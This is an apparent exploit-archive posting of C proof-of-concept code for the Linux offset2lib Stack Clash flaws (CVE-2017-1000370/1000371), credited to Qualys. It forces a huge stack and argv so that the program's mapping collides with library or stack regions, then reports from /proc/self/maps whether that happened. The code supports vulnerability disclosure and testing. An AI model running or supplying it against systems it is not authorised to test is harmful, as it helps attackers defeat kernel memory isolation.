Linux Kernel offset2lib Stack Clash

Linux kernel offset2lib stack clash exploit.


MD5 | 9c45e4e7a5d321c745ee653fb91aba99

/*
* Linux_offset2lib.c for CVE-2017-1000370 and CVE-2017-1000371
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

#define MAX_STACK_SIZE ((size_t)1<<30)
#define MAX_ARG_STRLEN ((size_t)128<<10)
#define MIN_ARGC 1024

static void
analyze_mappings(const char * const binary)
{
if (!binary) die();
if (strchr(binary, ' ')) die();
int rval = EXIT_FAILURE;
int dump = 0;

const int fd = open("/proc/self/maps", O_RDONLY);
if (fd <= -1) die();

static char buf[4096] = " ";
char * cp = buf;
for (;;) {
if (cp >= buf + sizeof(buf)) die();
const ssize_t nr = read(fd, cp, buf + sizeof(buf) - cp);
if (nr <= 0) {
if (nr == 0) break;
if (nr != -1) die();
if (errno != EAGAIN && errno != EINTR) die();
continue;
}
cp += nr;
}
*cp = '\0';
if (memchr(buf, '\0', sizeof(buf)) != cp) die();

size_t hi_bin = 0;
size_t lo_lib = 0;
size_t lo_heap = 0;
size_t lo_stack = 0;
const char * line = buf;
for (;;) {
char * const nl = strchr(line, '\n');
if (!nl) die();
*nl = '\0';

cp = NULL;
const size_t lo = strtoul(line, &cp, 16);
if (cp <= line || *cp != '-') die();
if (lo <= 0) die();

line = cp + 1;
cp = NULL;
const size_t hi = strtoul(line, &cp, 16);
if (cp <= line || *cp != ' ') die();
if (hi <= lo) die();

cp = strrchr(cp + 1, ' ');
if (!cp) die();
cp++;

if (!strcmp(cp, binary)) {
hi_bin = hi;
if (lo == 0x08048000) {
fprintf(stderr, "Please recompile with -fpie -pie\n");
die();
}
} else if (!strcmp(cp, "[heap]")) {
if (!lo_heap) lo_heap = lo;
else {
if (lo_stack) die();
lo_stack = lo;
dump = 1;
}
} else if (!strcmp(cp, "[stack]")) {
if (!lo_stack) lo_stack = lo;
else {
die();
}
} else if (*cp == '/') {
if (!lo_lib) lo_lib = lo;
}

*nl = '\n';
line = nl + 1;
if (*line == '\0') break;
}
if (!hi_bin) die();
if (!lo_lib) die();
if (!lo_stack) {
if (!lo_heap) die();
lo_stack = lo_heap;
lo_heap = 0;
}

if (hi_bin <= lo_lib && lo_lib - hi_bin <= 4096) {
fprintf(stderr, "CVE-2017-1000370 triggered\n");
rval = EXIT_SUCCESS;
dump = 1;
}
if (hi_bin <= lo_stack && lo_stack - hi_bin <= 4096) {
fprintf(stderr, "CVE-2017-1000371 triggered\n");
rval = EXIT_SUCCESS;
dump = 1;
}
if (dump) {
const ssize_t len = strlen(buf);
if (len <= 0) die();
if (write(STDERR_FILENO, buf, len) != len) die();
}
if (close(fd)) die();
exit(rval);
}

int
main(const int my_argc, const char * const my_argv[])
{
if (my_argc >= MIN_ARGC) {
analyze_mappings(*my_argv);
die();
}

size_t stack_size = MAX_STACK_SIZE;
if (my_argc == 2) stack_size = strtoul(my_argv[1], NULL, 0);
else if (my_argc != 1) die();
if (stack_size > MAX_STACK_SIZE) die();

static char arg[MAX_ARG_STRLEN] = " ";
memset(arg, ' ', sizeof(arg)-1);

const size_t argc = 1 + stack_size / (sizeof(arg) + sizeof(char *));
if (argc < MIN_ARGC) die();

char ** const argv = calloc(argc + 1, sizeof(char *));
if (!argv) die();

char * const binary = realpath(*my_argv, NULL);
if (!binary) die();
*argv = binary;

size_t i;
for (i = 1; i < argc; i++) argv[i] = arg;
if (i != argc) die();
if (argv[i]) die();

for (i = 1; i; i++) {
fprintf(stderr, "Run #%zu...\n", i);
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
static const struct rlimit stack_limit = { RLIM_INFINITY, RLIM_INFINITY };
if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
execve(*argv, argv, NULL);
die();
}
int status = 0;
if (waitpid(pid, &status, WUNTRACED) != pid) die();
if (!WIFEXITED(status)) die();
if (WEXITSTATUS(status) == EXIT_SUCCESS) continue;
if (WEXITSTATUS(status) != EXIT_FAILURE) die();
}
die();
}


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